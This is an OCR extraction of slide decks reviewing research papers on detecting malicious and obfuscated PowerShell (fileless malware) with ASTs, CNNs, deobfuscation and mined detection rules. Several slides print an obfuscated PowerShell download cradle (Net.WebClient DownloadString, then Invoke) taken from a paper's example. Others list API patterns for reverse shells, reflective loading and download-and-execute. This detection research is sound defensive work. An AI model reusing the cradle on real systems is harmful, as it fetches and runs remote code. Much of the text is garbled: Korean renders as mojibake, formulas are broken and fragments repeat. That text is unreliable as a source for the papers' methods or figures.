‘ AssignmentStatementast

Expressionast (@) 'Cm\amixvasmonkil
‘@ ExpandablestringExpressionast

:
) VariableExpressionast

Powershell X| &




@ Paper Review

Fileless Malware

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

PS script

\ 4

Confusion
matrix

___________________________________
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Fileless Malware

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

PS script

\ 4

Confusion
matrix

Vector

RF
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@ Paper Review

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

Confusion
matrix

PS script

s

>
(@]
_|
\ 4
Py
mm

y

AST —> Vector —> RF

&3] One-hot X
(=]

Program code2| AST node feature2 & 7IX| 1 Q& vector 47d
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@ Paper Review

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

PS script :t AST > RF > Confus_|on

i ) matrix
! ]

I_

AST —> Vector —> RF

Type A2| feature2 & BN Q& vector2?

TypeA | P
TypeB |C1 Type D | C2

Type A Type C Type C Type D




@ Paper Review

Fileless Malware

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Type B

Architecture

___________________________________

PS script :t AST > RF > Confus_|on
' : matrix

_

AST —>  Vector [ RF

Type A9| feature2 & E 1= vector2?
#leaves under c;
#leaves under p bias

Type A J_
(] Type D | C2 vec(p) ~ tanh E l W -vec(c;) + b

Type A

Type C

Type C

Type D

=TT

Direct children node

W; = c;2 weight
W, = RA(N/xN/)

= dimension(30)




Fileless Malware

@ Paper Review

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

PS script :t AST > RF > Confus_|on
i ! matrix
_
AST —>  Vector ¥ RF

n-—i i—1
Wi | = 73 Wi + n-1 W

_¢/'s leaves
"7 p'sleaves
Type A Type C Type C Type D
1 2-1 1-1 3 2-2 2-1
vec(p) = tanh( ( 1+3( 2_1W,+2_1WT)vec(¢:1)+ 1+3( 2_1Wl+2_1WT)ver:(c2) )+b )
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@ Paper Review

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

Confusion
matrix

PS script

SR TEE

>

wn

=

\ 4

Y

m
____"___

AST —> Vector —> RF

vec(p) = tanh <Z L;W; - vec(c;) + b>
=1
2

x| A3

vec(p) — tanh (En: L;W; - vec(c;) + b)

i=1

2

Type A Type C Type C Type D
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@ Paper Review

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

Confusion
matrix

PS script

SR TEE

>

wn

=

\ 4

Y

M
____"___

AST —> Vector —> RF

vec(p) = tanh <Z L;W; - vec(c;) + b>

=1

N 2
vec(p) — tanh (Z L;W; - vec(c;) + b)

x| A5t i=1 2
Type A Type C Type C Type D SHX| B Et=31A| 912 A2 cost function2 2 & 3H t&5tA EICHH

vec(p), Weight, bias EOI HE 002 £RSIA
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@ Paper Review

Fileless Malware

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture
PS script :t AST > RF > Confus_|on
| ! matrix
_
AST —> Vector —> RF
hyperParameter

Type A

Type C

Type C

Type D

Negative
Sampling

. ° rl- 3 ]
J(dD,d®) = max {0, 4]+ ) —{a0l}

minimize
W,,W,.b

hyperParameter

= ) 9@, d)

1

N v
1
i=

+_( Wi+ W17 )

= cost function

M=2Ns"2

Frobenius norm

Over fitting2}7| 2I8ll L2 regularization &

A
C=Co+— )
o+2nzw:w




@ Paper Review

Fileless Malware

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

1 1
1 1
. 8 - N nfusion
PSscript |—»  AST > RF Ly Confus
i ) matrix
: :
AP
AST Vector RF
NODE Feature Feature Feature Feature
Type 1 2 3 4
A 0.15642 0.67423 0.11251 0.87392
B 0.86982 0.51876 0.59654 0.16752
C 0.98764 0.11123 0.24575 0.65784




@ Paper Review

Fileless Malware

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Architecture

___________________________________

1 1
1 1
. ! - N nfusion
PSscript %  AST > RF Ly Confusio
i ) matrix
: :
AP
AST Vector RF
NODE Feature Feature Feature Feature
Type 1 2 3 a4
A 0.15642 0.67423 0.11251 0.87392
B 0.86982 0.51876 0.59654 0.16752
C 0.98764 0.11123 0.24575 0.65784




@ Paper Review

Fileless Malware

1. AST-Based Deep Learning for Detecting Malicious PowerShell

Unicorn1 Shellcode Inject & X

Only 87
Family Type

True label

Shellcode Inject

Downloader DFSP

PowerShell Empire

Powerfun Reverse

Downloader DFSP 2X

Architecture
— )
- . . ' Confusion |1
PS script > AST > RF > . !
i matrix :
| ]
po )
Confusion matrix Class(27)
400
Unicorn | 107 58 0 0 0 0 0 0 Downloader DFSP 1373 TXT C2 10
350 i
a 0 0 0 0 0 Shellcode Inject 1147 Downloader Proxy 9
300 Unicorn 611 AMSI Bypass 8
0 0 0 0 0 0
PowerShell Expire 293 Veil Stream 7
250
sET{ 2 a7 0 8 0 0 1 0 SET 199 Meterpreter RHTTP 6
200 ;
0 0 0 0 81 o o 0 Unknown 104 DynAmite Launcher 6
L 150 Powerfun Reverse 100 Downloader Kraken 5
0 0 0 0 0 31 0 0
Downloader DFSP 2X 81 ApplLocker Bypass 4
100
Unknown{ © 0 1 0 0 0 23 0 Downloader DFSP DPL 24 PowerSploit GTS 3
l 50 ;
o 0 0 o 7 o o o Downloader IEXDS 19 Powerfun Bind 2
v . . r . v . . LLo Scheduled Task COM 11 Remove AV 2
3 jod & b g g § A
§ & § 9 & & & 3 BITSTransfer 11 DynAmite KL 1
= g g s < 5 Q
S & g s ° ¢ VB Task 10
T IS 14 $ 5
& § & S g
Q & &L g
Q

Predicted label
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€@ Paper Review

2. Detecting Malicious PowerShell Commands using Deep Neural Network

Architecture
i Benign i .
i + PS command > CNN : > Conftlsllon
‘| Malicious 1 matrix
: Ensemble i
: 3-gram E




Fileless Malware

@ Paper Review

2. Detecting Malicious PowerShell Commands using Deep Neural Network

Confusion
matrix

Architecture
I’ ______________________________________________________ )
i Benign ]
: + PS command > CNN ;
‘| Malicious :
: Ensemble :
! 1
i 3-gram :
i :
! 1
! 1
b o o o o e e e e e e e e e e e e e e e e e e e e e e 2 7
Convolution Max pooling output

e
@ batch =

Figure 2: 4-CNN architecture used

Command line & ZO0|= 10242 H|$t

Symbol(34) + Alphabet(26) + space(1) + lowercase(1) = 62
one-hot encoding

-1%8&()*,./: 2@ [W]
3+ <=>ru#gAr~"

System &
Secunty Labortory




Fileless Malware

& Paper

2. Detecting Malicious PowerShell Commands using Deep Neural Network

Review

Architecture

+ PS command
Malicious

CNN

\ 4

Confusion
matrix

m
=]
(7]
®
3
=
®

g

«Q

=

Q

3

Tf-idf score -> Logistic Regression -> binary classification




Fileles

& Paper

2. Detecting Malicious PowerShell Commands using Deep Neural Network

s Malware

Review

Architecture

Benign ) .
+ PS command > CNN ; > Confﬁ[lsllon
Malicious . matrix
Ensemble i
E
Tf-idf score -> Logistic Regression -> binary classification
File a = VirtualAlloc File b = VirtualLoc
File a File b . =#file LHolY ©® BlE =
word TF IDF TF*IDF word TF IDF TF*IDF # file l & HHIH=
Vir 1/10  |Log(2/2) 0 Vir 1/8 Log(2/2) 0 - =
irt 1/10_[Log(2/2)] 0 irt 1/8  |Log(2/2)] O ipp < PHE SUE X E file H+
rtu 110 _[Log(2/2)] © rtu 1/8  |Log(2/2)] © # 3 file M=
tua 1/10  |Log(2/2) 0 tua 1/8  |Log(2/2) 0
ual 1/10  |Log(2/2) 0 ual 1/8 Log(2/2) 0
alA 1/10 |Log(2/1)| 0.030 alL 1/8 Log(2/1)| 0.037
1Al 1/10 |Log(2/1)| 0.030 ILo 1/8 Log(2/1)| 0.037
All 1/10 |Log(2/1)| 0.030 Loc 1/8 Log(2/1)| 0.037
llo 1/10 |Log(2/1)| 0.030
loc 1/10  |Log(2/1)| 0.030




Fileless Malware

@ Paper Review

System
Secunty Labortory

2. Detecting Malicious PowerShell Commands using Deep Neural Network

Architecture
i Benign : i
: * PS command > CNN ; > Confilsllon
{| Malicious ] matrix
! Ensemble :
: E
i )
Tf-idf score -> Logistic Regression -> binary classification
IF - # filelWols ©{ Bl =
File a = “VirtualAlloc” # file H & SO =
Vir | it | rtu | tua | ual | alA | AL | Al | llo | loc o e C*(H S JHXl & file M=
0 0 0 0 0 [0.030[0.030 | 0.030 | 0.030 [ 0.030 - # = file M=
Sf
X X X X X X X X X X
Oorlza[ Wi HHW, W tHW R Ws HW e hW 7 HW g HHWo hW 1o ]
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System
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@ Paper Review

2. Detecting Malicious PowerShell Commands using Deep Neural Network

Architecture
Benign i : E
+ PS command > CNN (a > Conftlsllon :
Malicious : matrix ]
' [Ensemble ]
i 3-gram i

if a>0.99 {result =a}
elseif b > 0.99{result = b}
else {result = avg(a, b)}
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@ Paper Review

2. Detecting Malicious PowerShell Commands using Deep Neural Network

Architecture
= Y /——————y T T 3
enign : . :
+ PS command P CNN (a > Confilsllon i
Malicious : matrix !
' |Ensemble :
1 ]
: 3-gram i
P n total
T Q p 5 56 ||:
22 plLats || 56 Jum Very low Recall
S8 w| 7 11997 | 12004 [ Recall:88.1

(¢) D/T Ensemble
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@ Fileless Malware Dataset

=20 A2 E Dataset

[1] Pulling Back the curtains on EncodedCommand PowerShell Attacks = Palo Alto Network Dataset
[2] Powershell-based Attack Toolkits

[3] HybridAnalysis

[4] AnyRun

[5] EST security

[6] GithubOf| A| Powershell Script A& & &, Virus Total ZAt 217t 5% 0|4 LE2 P malicious, OFL|® ben
[7] VirusTotal

[8] ESET Vhook

ign

Palo Alto Dataset A2 =2 28

1 AST-Based Deep Learning for Detecting Malicious Gili Rusak PS Script Detection
PowerShell Et al.
2 Detecting Malicious PowerShell Commands using Danny Hendler PS Command Detection
Deep Neural Network Et al.
PowerDrive: Accurate De-Obfuscation and Analysis of Denis Ugrate PS Script De-Obfuscation
R} PowerShell Malware Et al. OLE file
Effective and Light-Weight Deobfuscation and Zhenyuan Li PS Script Detection
Semantic-Aware Attack Detection for Powershell et al. De-Obfuscation
Scripts
Evaluations of Al-based malicious Powershell Sunoh Choi PS Script Detection
) detection with feature optimizations et al. OLE file

| Benign [ Malicious |
X 407974
[1]
Github [1]
X 5079}
[1]
[71
234204 414124
Github [1]
[2]
22,4750 421404
Github [1]
[6] [5]

Software &
System
Secunty Laboratory

Year

2018

2018

2019

2019

2020
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@ Paper Review

3. PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware

Architecture

PS script >
PS script .
in VBA macro -

Layer Detection

\ 4

Pre-processing

Layer Deobfuscation

Script syntax check
=A% A

- VBAO|| A PS script &=

\ 4

Script Execution

\ 4

=2t SR wE b

Layer
Detection

Preprocessing

Scripts

Cmdlets
Override R

Multi-line
Detection

Clean Up

| —

Layer
De-obfuscation

Anti-Di
Detection

Syntax Check

Continue
De-obfuscating?

Get Malware Yes
Hosting Server
URL

Fig. 1. A general representation of the PowerDrive structure.

Command
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oty =5k HAL
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@ Paper Review

3. PowerDrive: Accurate De-Obfuscation and Analysis of PowerShell Malware

[ intuition 1]
YSTHS Mol

[
Malware Download
TG R Unicorn1} Shellcode Inject T+& X
Memory Execution Confusion matrix
v 400
) ) Unicomll 107 58 0 0 0 0 0 0
Function Execution R
- 350
Process Kill Shellcode Inject 63 250 0 0 0 0 0 0
Shell Execution 300
Downloader DFsp{ © 0 0 0 0 0 0
Process Stop -
. - = 2 47 0 8 0 0 1 0
Registry Key Addition .§ SEE
v 200
0 500 1000 1500 2000 2500 E PowerShell Empire{ © 0 0 0 81 0 0 0
Number of samples
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[ intuition 2 ] Powerfun Reverse { © 0 0 0 0 31 0 0
. . (=] L
Environmental variable2 49| 0
Unknown{ © 0 1 0 0 0 23 0
APPDATA 50
Downloader DFSP 2x{ © 0 0 0 0 0 0 28
TEMP , . . . _ - _ - Llo
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@ Paper Review

4. Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for Powershell Scripts

Architecture

\ 4

Deobfuscation OOA rules

\ 4

PS script
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@ Paper Review

4. Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for Powershell Scripts

10

Architecture
i mmmm  mmm  _______ .
1 1
1 1
i . % . i -
: PS script » Deobfuscation 1 » OOArules
: I
I o o o e e e e o o o e e e e e e e e 1
B oScode2 = {
9 {1H{0H2} " —F w0, 'Ne', "ject') ("Net W' + "ebClient")) ("{2}{1}{0}"~F'tring". 'nloadS", 'Doll"') . Invoke( (" {20} {13} {26} "'mo', 'code', '/ lnv', 'rce'™))

Average alerts counts (all 56 AV engines)
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@ Paper Review

4. Effective and Light-Weight Deobfuscation

and Semantic-Aware Attack Detection for Powershell Scripts

Architecture

fmmmmmmm -

1 ]

1 ]

' : ~ - ! .

: PS script » Deobfuscation 1 » OOArules

i )

I o o o e e e e o o o e e e e e e e e I
8 = 2=1
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10 |}

H2} " —f'wo" = ) ("Net.W"

g t') ("Net.W"

st 2} -f . ) ("Net.W"
ect') ("Net.W"

') ("Net . W"

) (“Net.W"

') ("Net.W"

e(("

AST nodes and contents

Software &
System
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@ Paper Review

4. Effective and Light-Weight Deobfuscation

and Semantic-Aware Attack Detection for Powershell Scripts

Architecture
fmmmmmmm -
1 ]
1 ]
' : ~ - ! .
: PS script » Deobfuscation 1 » OOArules
i )
I o o o e e e e o o o e e e e e e e e I
8 code2 = {
9 [ (A("(1T{OH2E"~F w0, Ne', 'Ject') ("Net W' + "ebClient")). ("{2} {THO}"~F "tring’. 'nloadS’, ‘Do) . Invoke( (" {20}{13}{26} ... *."."."no", 'code’, /Inv', "rce'™))
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@ Paper Review

4. Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for Powershell Scripts

Architecture
B 4
! 1
! 1
! 1
: PS script » Deobfuscation 1 » OOArules
1
i .
I o o o e e e e o o o e e e e e e e e 1
8 =3c0del = {
9 A2} ~F w0, Ne' L tiect ') ("Net W' + "ebClient")) ("{2} {1{0}"~F'tring’. 'nloadS', 'DoW') . Invoke( ("{203{13}{26} ... '.'.",'mo', 'code','/Inv', 'rce'"))
10 [}
(&("{1}{0}{2}"-£f'w-0', 'Ne', 'ject') ("Net.W" +
"ebClient")) . ("{2}{1}{0}"-
f'tring', 'nloadS', 'DoW') . Invoke (("{20} {13}
{26} ... ','.",'mo','code',"'/Inv', 'xrce"))
(&("{1}{0}{2}"-f'w-0', 'Ne', 'ject') "{20}{13}{26} ...
("Net.W" + "ebClient")).("{2}{1} Invoke ",'.','mo', 'code', '
{0}"-£f'tring', 'nloadS', 'DoW') /Inv', 'rce'
A
&("{1}{0}{2}"-£f"'w~ "{2}{1}{0}"~
o','Ne','ject') f'tring', 'nload <
("Net.W" + "ebClient") S', 'DoW’
"{1}{0}{2}"-£"w- "Net.W" +
o','Ne','ject' "ebClient" 4—'
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2 OH{2}"-f'w—o','Ne', 'ject';$Strioint = "Net .W" + "ebClient"

3 130" 'tring’, 'nloadS"', 'De

- o code v, Trce

5 andom. Invoke(3Ur ) |

B |1}

PipelineAst AssignmentStatementAst
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Architecture
e e e 0
1
1
1
PS script » Deobfuscation 1 » OOArules
1
1
1
rder = "{11{0H{2}"-f'w-o"','Ne', 'ject';$Strioint = "Net .W" + "ebClient"
$StrReorder "{1}{0}{2}"-f'w-0', 'Ne', 'ject'
' o o o o $Strjoint = "Net.W" + "ebClient"
mo Coggnh Loy rce $RanReserve "{2}{1}{0}"-£'tring', 'nloadS', 'DoW’
$0rl = "{20}{13}{26}...','.','mo','code',"'/Inv', 'rce'
(&$StrReorder $Strjoint) .$Random.Invoke ($Url)
‘—___________—___—_.__,
(&$StrReorder $Url = "{20}{13}{26} ...

—

AssignmentStatementAst

$Strjoint) . $Random. Invoke ($Url)

-
AL Ymoll il codel /vt itroa)l
\
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(& ($StrReorder)
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\ 4

Deobfuscation OOA rules

v

PS script

PS script ¥ AST —» Deobfuscation

AST update!

Until Depth, Distribution, Length is same as before
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CIOIEHO =HE IHE =

PS script

Table 3: Representative examples and descriptions of newly-
identified OOA rules for PowerShell attacks.

2| <

3

oo

AI‘Ch IteCtu re OOA rules Description

NewTask, RegisterTaskDefinition, ... Scheduled task COM
e ) FromImage, CopyFromScreen, ... Get-TimedScreenshot
: : VirtuAlloc, Memset, CreateThread, ... | Reflective Loading
! . 1 DownloadString, Invoke-Expression | IEX Downloaded String
e Deobfuscatlon > OOA ruleS : DownloadFile, Start-Process Download & Execution
I 1 UseshellExecute, TcpClient,
: : RedirectStandardOutput, GetStream, | Reserve shell

___________________________________________ GetString, Invoke-Expression, ...

To make OOA rules

support = & 0{set Bl =4
confidence(x, y) = xJt LIgtS

1) FP-growth 2) support, confidence score
algorithm o=
pattern user-specified score
file word word s(support) word confidence
a 1,2,3,4 1 4/8 1->2 s(1,2)/s(1)
b 1,2,3 2 6/8 2->3 s(2,3)/s(2)
c 1,2 3 4/8 3->4 s(3,4)/s(3)
d 1,1,6 4 2/8 4->5 s(4,5)/s(4)
e 2,345 5 4/8 5->6 s(5,6)/s(5)
f 2,3,5 6 2/8 1,2->3  [s(1,2,3)/s(1,2)
g 2,5 1,2 3/8 1,2->4  |s(1,2,4)/s(1,2)
h 5,6 1,2,3 2/8 1,2->5  [s(1,2,5)/s(1,2)
1,2,3,4 1/8 i - _
23 4/8 confidencelt ==+ RE¢&t
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PS script : » Deobfuscation »  OOA rules
1
OOA rules Description
NewTask, RegisterTaskDefinition, ... Scheduled task COM

FromImage, CopyFromScreen, ...

Get-TimedScreenshot

VirtuAlloc, Memset, CreateThread, ...

Reflective Loading

DownloadString, Invoke-Expression

IEX Downloaded String

DownloadFile, Start-Process

Download & Execution

UseshellExecute, TcpClient,
RedirectStandardOutput, GetStream,
GetString, Invoke-Expression, ...

Reserve shell

Samples VirusTotal Dec())tzlt::ztc;:)ln ’
Original Scripts 100% 98.7%
S1 0.0% 90.7%
Malicious S2 8.0% 93.3%
S3 2.6% 92.0%
54 0.0% 93.3%
Benign Original scripts, all 4 obfuscation schemes 0.0% 0.0%
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14 13.2 P N - o
OOriginal Anti-VirusO|l M 2&3

'g‘ @s1
g 12 Bs2
B HES}
5 @S3 [
% 10 Bs4
o
n
4 8
L)
0]
+
§ 6
0
0
3

4
g 3.1
~
o
o
o 2
g 0.
S 0.01 0o o0 o
b .

0

Malicious Benign
Original and obfuscated scripts
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PSserpt - 1 | RF || swm |[ knn |
—» Deobfuscation :

. ' CNN- .

PS script : CNN || LSTM || 'sTm :

in VBA macro i :

| Token(vocab) |

\ 4

Vector Model

v

Deobfuscation —»

AST((structure)

Word2Vec

Fasttext
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RF SVM K-NN CNN LSTM CNN-LSTM

Feature Recall FPR  Recall FPR Recall FPR Recall FPR Recall FPR Recall FPR

AST 88.5 0.1 84.8 0.05 87.4 1.0 89.0 0.60 88.1 1.3 85.8 1.20
AST 3-gram 89.5 0.1 86.0 0.05 87.7 0.6 |*98.5 *0.08 *98.0 *0.01 *08.4 *0.06
AST frequency 94.2 02 865 0.60 91.1 0.5 79.5 0.60 77.3 1.3 79.0 1.50
5-token *95.6 *03 863 0.10 89.7 0.6 93.8 030 *949 *0.5 91.1 0.40
5-token 3-gram *08.9 *0.1 80.5 0.20 *04.5 *0.2 75.1 2.80 78.2 3.9 75.5 3.60
5-token frequency *06.1 *22 700 0.20 85.1 1.2 93.2 8.30 34.6 1.4 18.2 0.40
Member 922 0.5 86.6 0.30 88.2 0.7 92.0 0.50 *94.8 *0.5 90.9 0.50
Member 3-gram *96.6 *0.6 883 0.30 91.6 0.4 924 0.40 91.1 0.4 91.8 0.50
Member frequency 93.6 0.7 844 1.50 91.4 0.8 44.0 0.80 7.90 0 22.1 3.20
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1~5. family type2 # & 0t= detection2 22| 25

- data =2 € =X

ol 2

- Unicorn 1t Shellcode Inject dataXtO| & &

Unicorn1l Shellcode Inject & X

=t

ZHoll OF = feature

Only 87
Family Type

True label

Unicorn

Shellcode Inject

Downloader DFSP

SET

PowerShell Empire

Powerfun Reverse

Unknown

Downloader DFSP 2X

Confusion matrix

400

300

LN

0 0 0 0 0
0 0 0 0 0
0 0 0 0 0
2 47 0 8 0 0 1 0
0 0 0 0 81 0 0 0
0 0 0 0 0 31 0 0
0 0 1 0 0 0 23 0
0 0 0 0 0 0 28
, ——— &
§ & &£ & § & § '
$ £ Q & : 4 I3 &
S g ¢ & & ¥ &
o S
g @8 5§ £ ¢
5§ & g § $
Q o &£ £
5]

Predicted label

Class(27)

Downloader DFSP 1373 TXT C2 10
Shellcode Inject 1147 Downloader Proxy 9
Unicorn 611 AMSI Bypass 8
PowerShell Expire 293 Veil Stream 7
SET 199 Meterpreter RHTTP 6
Unknown 104 DynAmite Launcher 6
Powerfun Reverse 100 Downloader Kraken 5
Downloader DFSP 2X 81 AppLocker Bypass 4
Downloader DFSP DPL 24 PowerSploit GTS 3
Downloader IEXDS 19 Powerfun Bind 2
Scheduled Task COM 11 Remove AV 2
BITSTransfer 11 DynAmite KL 1
VB Task 10
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1. &Y 2. AST
= {%a ="Hel lo"; $b = "Wor Id"}
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¢ third
: 0
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€ Background $:X>F
v F =+ X
1. In Representation Learning approaches ¢,% = argmin || X — (¢ 0 ¢) X
+ AutoEncoder o
* RBMs

« AutoEncoder

Code
Input X
Layer
%_J
Encoder Decoder

=Reconstruct
Code, Latent variable = h = 6¢(Wx + b)
Output = x' =o' (W'h+b')
¢ Reconstruction errors = L(x,x') = ||x — ¥'||* = [|x — ¢/ (W' (c(Wx + b)) + b)|?

Reconstruction errorg %| A3}
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Pv: F = X
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1. In Representation Learning approaches ¢,% = argmin [|X — (0 ¢)X||
* AutoEncoder ¥
* RBMs
For what?
Code . . N .
« AutoEncoder 1. Dimension Reductlon(feature. extraction)
It oupue | ¥ YU featurez & 7HX|= WeightE 73
Layer Layer
—_— o
Encoder Decoder
=Reconstruct
T2 AutoEncoder2 StackingStO| AtE
@ output 10 @ output 10
500 500 1000 at
- * s * v
g 1000, 784 | % e— g‘ | 00080 1000
. *w * i
1000 1000 . 1000 1000, .. ... a's
Input 784 Input 784 X — Input 784 Input 784 x

@ output 10 q2 @ output 10 output

,,,,,, * *
LR00 | S0

g f of # i

'ﬁ 1000 5| 1000.cc.] iR 000 i
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1. In Representation Learning approaches
* AutoEncoder

* RBMs
For what?
Code . . N .
« AutoEncoder 1. Dimension Reductlon(feature. extraction)
_— owpue | ¥ LU featureg & 7HX|= WeightE 73,
Layer Layer

2. Denoising(by add random noise in Input)

L —

Encoder Decoder

=Reconstruct
Denoising AutoEnocder latent vector z € R9z
z = h(x)
Encoder h() g&)_ Decoder
y = g(h(x)))
sarvpedioput L E R, output ¥ € R
= add random noise 4 P q(¥|x) *
"sssssssEsEEEEEEEEESEEEEEEEED

d
input X € R
Noise 21 = data
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* AutoEncoder
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* RBMs

- AutoEncoder Al =

o

A
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Input X [0 v Output
Layer Lanaas Layer

v
Different with AutoEncoder

% Reconstruction errors = ||x-r||*2

Input
Layer

Encoder

AutoEncoder

Code
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Unsupervised Representation Learning

k2t A PLO| ASTO| £3}El Representation2 M4 dt=

(REF)Building Program Vector Representation for Deep Learning — AST to vector specialized in Program Language
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+ (REF)Building Program Vector Representation for Deep Learning — AST to vector specialized in Program Language

vec(p) ~ tanh Z L;W; -vec(c;) + b

2=1
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+ (REF)Building Program Vector Representation for Deep Learning — AST to vector specialized in Program Language
#leaves under c;
#leaves under p bias

1

vec(p) ~ tanh Z_ZZ_WZ -vec(c;) + b

Direct children node

Non-leaf node

W; = c; 2 weight
W, = RA(N/ xN/)

Ny = dimension(30)
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